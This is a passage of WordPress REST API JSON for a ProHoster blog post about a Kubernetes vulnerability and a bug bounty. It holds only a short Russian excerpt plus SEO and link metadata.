\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"da_DK\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026 | ProHoster","description":"Bem.","canonical_url":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"da_DK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}